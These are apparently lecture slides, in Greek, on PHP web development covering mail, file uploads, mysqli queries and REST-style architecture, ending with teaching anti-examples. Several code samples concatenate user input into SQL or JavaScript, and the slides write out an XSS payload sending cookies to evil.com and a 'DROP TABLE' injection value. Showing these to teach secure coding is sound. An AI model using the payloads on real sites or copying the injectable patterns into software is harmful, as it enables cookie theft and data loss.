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ΕΙΣΑΓΩΓΗ

• Απαιτούνται Βασικές Γνώσεις
• Από το πρώτο μέρος της παρουσίασης

• Λειτουργία Φορμών

• Βάσεις Δεδομένων – Γλώσσα SQL



E-MAIL

• Λειτουργίες του E-Mail:
• Η PHP δίνει δυνατότητα αποστολής email μέσω SMTP πρωτοκόλλου 

• Για τη χρήση της default mail() συνάρτησης

• Τον SMTP server που θα χρησιμοποιήσουμε τον ορίζουμε στο αρχείο php.ini.

• Σε production περιβάλλοντα συνήθως η mail() ΔΕ χρησιμοποιείται

• Εναλλακτικά: https://github.com/Synchro/PHPMailer

• SMTP authentication, attach, HTML mails κ.α.

• Το email μας δεν κινδυνεύει να χαρακτηριστεί spam

https://github.com/Synchro/PHPMailer


E-MAIL

<? 
$message="Text to send through mail";

mail("nobody@example.com", "Subject Text", $message,"From: 
webmaster@example.com");

?> 

Απλό παράδειγµα µε χρήση της mail()

Send_mail



FILE UPLOAD

• Μπορώ να υλοποιήσω για τους χρήστες μου upload αρχείων στον 
server
• Συνάρτηση move_uploaded_file ()

• Μεταβλητή $_FILES

• php.ini



FILE UPLOAD – ΘΕΜΑΤΑ ΑΣΦΑΛΕΙΑΣ

PHP μέρος 1ο

• File upload μόνο αν είναι απαραίτητο 
(π.χ. εγγεγραμμένοι χρήστες)

• Αποθήκευση των αρχείων εκτός 
www root

• Αλλαγή ονόματος αρχείου
• Αποφυγή χρήσης συναρτήσεων 

include για uploaded/ remote files



ΔΙΑΣΥΝΔΕΣΗ ΜΕ ΒΔ

Client
(Firefox)

PHP engine

Apache

.phpHtml 
content

Http response
MySQL
MSSQL
Oracle

PostgreSQL

Web Server Database

• Για να συνδεθεί η PHP με την MySQL χρησιμοποιούμε τις συναρτήσεις της 
βιβλιοθήκης MySQL Improved Extension (mysqli)

•Object oriented

•Procedural

• Εναλλακτική αποτελεί η βιβλιοθήκη PDO_MYSQL

• Η βιβλιοθήκη MySQL που τυχόν θα δείτε σε online παραδείγματα είναι πλέον 
“deprecated”

•Tι σημαίνει αυτό;



MYSQL_CONNECT (OO)

$mysql_link = new mysqli('localhost', ‘user', ‘pass', ‘db_name');

if ($mysql_link->connect_error) 

{

    die('Connect Error (' . $mysql_link->connect_errno . ') ‘. 

    $mysql_link->connect_error);

}

echo "Success!";

$mysql_link->close();

• To connection κλείνει αυτόµατα µε το τέλος του script.

• Είναι όµως καλή πρακτική να το τερµατίζουµε µε την χρήση της mysqli_close



MYSQL_CONNECT (PROCEDURAL)

$mysql_link = mysqli_connect('localhost', ‘user', ‘pass', ‘db_name');

if (mysqli_connect_errno()) 

{

    die('Connect Error (' . mysqli_connect_errno() . ') '.    
 mysqli_connect_error());

}

echo "Success!";

mysqli_close($mysql_link);

• To connection κλείνει αυτόµατα µε το τέλος του script.

• Είναι όµως καλή πρακτική να το τερµατίζουµε µε την χρήση της mysqli_close



MYSQL_QUERY

$my_query = "INSERT into test_table (name) VALUES ('".$_POST['name']."')";
 
$result = $mysql_con->query($my_query);

if (!$result)
 die('Invalid query: ' . $mysql_con->error);

else
 echo "Updated records: ".$mysql_con->affected_rows;
 
echo "<p><b>The last id: ".$mysql_con->insert_id."</b></p>";



SELECT

while($row = $result->fetch_array())
{
  echo "<tr>";
  echo "<td>" . $row['id'] . "</td>";
  echo "<td>" . $row['name'] . "</td>";
  echo "</tr>";
}
echo "</table>“;

• Εκτός της μεθόδου fetch_array μπορεί να χρησιμοποιηθεί και η fetch_row. Χάνουμε όμως αρκετή 
πληροφορία χωρίς να κερδίζουμε σε ταχύτητα.

• Η fetch_array έχει επιπλέον ένα προαιρετικό όρισμα με τιμές MYSQLI_ASSOC, MYSQLI_NUM, 
MYSQLI_BOTH



ΥΠΟΣΤΗΡΙΞΗ ΕΛΛΗΝΙΚΩΝ

• UTF-8 παντού!
• τα .php αρχεία

• το encoding στη σελίδα που υπάρχει η φόρμα

• το encoding στη σελίδα που εκτελούνται τα queries

• το connection μεταξύ php και mysql

• η βάση, τα tables και τα string πεδία των tables



ΑΡΧΙΤΕΚΤΟΝΙΚΗ (ΜΟΝΟΛΙΘΙΚΗ)

DB
welcome.php

GET



ΑΡΧΙΤΕΚΤΟΝΙΚΗ (ΜΟΝΟΛΙΘΙΚΗ)

DB
welcome.php

200 OK



ΑΡΧΙΤΕΚΤΟΝΙΚΉ (ΔΙΑΧΩΡΙΣΜΟΣ)

• Ιδανικά θέλουμε διαχωρισμό UI-δεδομένων:
• Όλη η HTML/JS να φορτώνεται ΜΙΑ φορά στον πελάτη

• Τα ΔΕΔΟΜΕΝΑ να διατηρούνται αποκλειστικά στη ΒΔ

• Κάθε σύνδεση πελάτη-εξυπηρέτη να αφορά μόνο μεταφορά ΔΕΔΟΜΕΝΩΝ και όχι τη 
μορφοποίησή τους.



ΑΡΧΙΤΕΚΤΟΝΙΚΗ

DB

get.php

insert.php

modify.php

product.html

1. GET

2. 200 OK



ΑΡΧΙΤΕΚΤΟΝΙΚΗ

DB

get.php

insert.php

modify.php

product.html

3. GET (data)

3. POST (data)

3. GET (result)



ΓΙΑΤΙ;

• Καλύτερες επιδόσεις και εμπειρία χρήστη
• Γρήγορο αρχικό φόρτωμα (ο χρήστης δε φεύγει)
• Σταδιακό φόρτωμα δεδομένων (ειδικά για αργές συνδέσεις)
• Μερικές ενημερώσεις (όχι πλήρες φόρτωμα στο reload) = εξοικονόμηση bandwidth

• Καλύτερη διαχείριση / αποσφαλμάτωση
• Ανεξαρτησία σχεδιαστών / backend devs = παράλληλη ανάπτυξη
• Ευκολία αλλαγών στο UI χωρίς να πειράξουμε το backend (νέες εκδόσεις, Α/Β testing κ.α.)
• Ευκολία διαχείρισης caching σε πολλαπλά επίπεδα ανάλογα με το περιεχόμενο = βελτίωση κλιμακωσιμότητας
• Χρήση του ίδιου backend για ανάπτυξη πολλαπλών εφαρμογών

• Mobile apps
• Web apps
• Third party apps



ΜΕΙΟΝΕΚΤΗΜΑΤΑ

• Περίπλοκη αρχιτεκτονική
• Διαχείριση σφαλμάτων σύνδεσης
• Διαχείριση κατάστασης του συστήματος
• Αποσφαλμάτωση και ενορχήστρωσης πολλαπλών ασύγχρονων κλήσεων

• Αποφάσεις επεξεργασίας στο server ή στον πελάτη;

• Search Engine Optimisation
• Δυσκολία indexing σελίδων χωρίς ουσιαστικό περιεχόμενο
• Οι crawlers χάνουν σημαντικές λέξεις-κλειδιά που φορτώνονται μετά την αρχική HTML
• Δεν υπάρχουν μοναδικά URLS για τα περιεχόμενα του ιστότοπου
• Δεν υπάρχει «ιστορικό» για να ακολουθήσει κάποιος crawler





ΑΡΧΙΤΕΚΤΟΝΙΚΗ

• Πελάτης
• HTML με «στατικές» και «δυναμικές» περιοχές (placeholders)

• Δυναμικές: Αυτές για τις οποίες δεν έχουν έρθει ακόμα τα δεδομένα, θα φορτωθούν στη 
συνέχεια.

• Όλη η JS που ελέγχει τη μεταφορά δεδομένων, την επεξεργασία τους (pre-/post-), και 
τον τρόπο επίδειξής τους στον πελάτη.



ΑΡΧΙΤΕΚΤΟΝΙΚΗ

• Εξυπηρέτης – middleware
• PhP ή άλλη γλώσσα που:

• Δέχεται αιτήματα για δεδομένα ή αιτήματα για αποθήκευση/τροποποίηση δεδομέμων από 
πελάτες

• Λαμβάνει τα δεδομένα από τη ΒΔ ή τοποθετεί/τροποποιεί τα δεδομένα σε αυτή

• Επιστρέφει στον πελάτη τα αποτελέσματα των αιτημάτων με μορφή που μπορεί να τα 
αναγνώσει μηχανικά (JSON, XML, κ.α.)

• Δεδομένα, status codes/messages



ΑΡΧΙΤΕΚΤΟΝΙΚΉ

• Εξυπηρέτης – ΒΔ
• Δέχεται queries από το middleware

• Επιστρέφει αποτελέσματα σε αυτό



ΑΡΧΙΤΕΚΤΟΝΙΚΗ

• Η αρχιτεκτονική αυτή ονομάζεται REST
• Representational State Transfer

• RESTful architecture / RESTful APIs

• H PhP λειτουργεί ως Application Programming Interface (API) με πολλαπλά endpoints
• API: μια «πύλη» προς τα δεδομένα

• Ελεγχόμενη και τυποποιημένη πρόσβαση στα δεδομένα από οποιαδήποτε συστήματα (όχι μόνο τα 
δικά μας)

• Μπορεί να υλοποιεί μεθόδους ταυτοποίησης χρήστη για περισσότερη ασφάλεια

• Μπορεί να υλοποιεί caching για καλύτερη αποδοτικότητα



ΥΛΟΠΟΙΗΣΗ ENDPOINT (GET DATA)

Execute query

Put results into php array

Initialise response array

Form response status messages

Convert and return php array to JSON

Set response header(s)

Connect to DB



ΑΠΟΤΈΛΕΣΜΑ ΚΛΗΣΗΣ ENDPOINT



ΚΑΤΑΝΑΛΩΣΗ

Async function to fetch 
& show data

We will place data here
(placeholder in the 
HTML)



ΚΑΤΑΝΑΛΩΣΗ

Call the 
API 
endpoint

Create in-
memory 
JSON 
object 
from 
response

Use 
response 
data to 
populate 
DOM



ΤΕΛΙΚΌ ΑΠΟΤΕΛΕΣΜΑ



ΑΝΤΙ-ΠΑΡΑΔΕΙΓΜΑΤΑ 1

• PHP Generating JavaScript Code:

<?php 
 $userRole = $_GET[‘role’]; 
 echo "<script>\n"; 
 echo "function checkPermissions() {\n"; 
 echo " var userRole = '" . $userRole . "';\n"; 
 echo " if (userRole === 'admin') {\n"; 
 echo " document.getElementById('adminPanel').style.display = 'block';\n"; 
 echo " }\n"; 
 echo "}\n"; 
 echo "</script>"; 
?>



<?php 
// Fetching coordinates from database 
$query = "SELECT lat, lon, name FROM locations"; 
$result = mysqli_query($connection, $query); 

// Directly generating JavaScript 
echo "<script>\n"; 
echo "var mapPoints = [\n"; 
while ($row = mysqli_fetch_assoc($result)) { 
 echo " {lat: " . $row['lat'] . ", "; 
 echo "lng: " . $row['lon'] . ", "; 
 echo "name: '" . $row['name'] . "'},\n"; 
} 
echo "];\n"; 
echo "</script>"; 
?> 
<!-- Using the generated array --> 
<script> 
function initMap() { 
 mapPoints.forEach(point => { 
  new google.maps.Marker(
  { position: point, 
   map: map, 
   title: point.name }); 
  }); 
 } 
</script>



ΠΡΟΒΛΉΜΑΤΑ

• Mixing concerns: Λογική Server αναμεμειγμένη με client-side κώδικα 

• Δυσκολία αποσφαλμάτωσης: 

• Οι γραμμές κώδικα στον browser δεν ταιριάζουν με αυτές της πηγής

• Δεν υπάρχει υποστήριξη για JavaScript tooling (linting, formatting)

• Κενό ασφάλειας: Cross-site scripting



XSS ATTACK

https://mysite.org/welcome.php?name=...

<?php // Dangerous: Directly outputting user input into JavaScript 

$userName = $_GET['name']; // User-supplied input 
echo "<script>\n"; 
echo "var currentUser = '" . $userName . "';\n"; 
echo "document.getElementById('welcome').innerHTML = 'Hello ' + 
currentUser;\n"; 
echo "</script>"; 

?>



XSS ATTACK
https://mysite.org/welcome.php?name=...

'; fetch('https://evil.com/steal?cookie=' + document.cookie); '

https://mysite.org/welcome.php?name=%27%3B%20fetch%28%27https%3A%2F%2Fevil.co
m%2Fsteal%3Fcookie%3D%27%20%2B%20document.cookie%29%3B%20%27

https://tinyurl.com/mjxrny2
4

PHP: 
echo "var currentUser = '" . $userName . "';\n";

JS:
var currentUser = ' '; fetch('https://evil.com/steal?cookie=' + document.cookie); ‘ ‘;
document.getElementById('welcome').innerHTML = 'Hello ' + currentUser;
 



ΑΝΤΙ-ΠΑΡΑΔΕΙΓΜΑΤΑ 2

• PHP inline SQL injection:
<table> 
<?php 

$sortColumn = $_GET['sort’]; 

$query = "SELECT * FROM products ORDER BY " . 
$sortColumn; 
$result = mysql_query($query); 

while($row = mysql_fetch_array($result)) { 
 echo "<tr><td>" . $row['name'] . "</td></tr>"; 
} 

?> 
</table>



SQL INJECTION
https://mysite.org/get_products.php?sort=...

https://mysite.org/welcome.php?sort=name%3B%20DROP%20TABLE%20products%3B

name; DROP TABLE products;

PHP:

<?php 

$sortColumn = $_GET['sort’];
$query = "SELECT * FROM products ORDER BY name; DROP TABLE 
products;”
$result = mysql_query($query); 


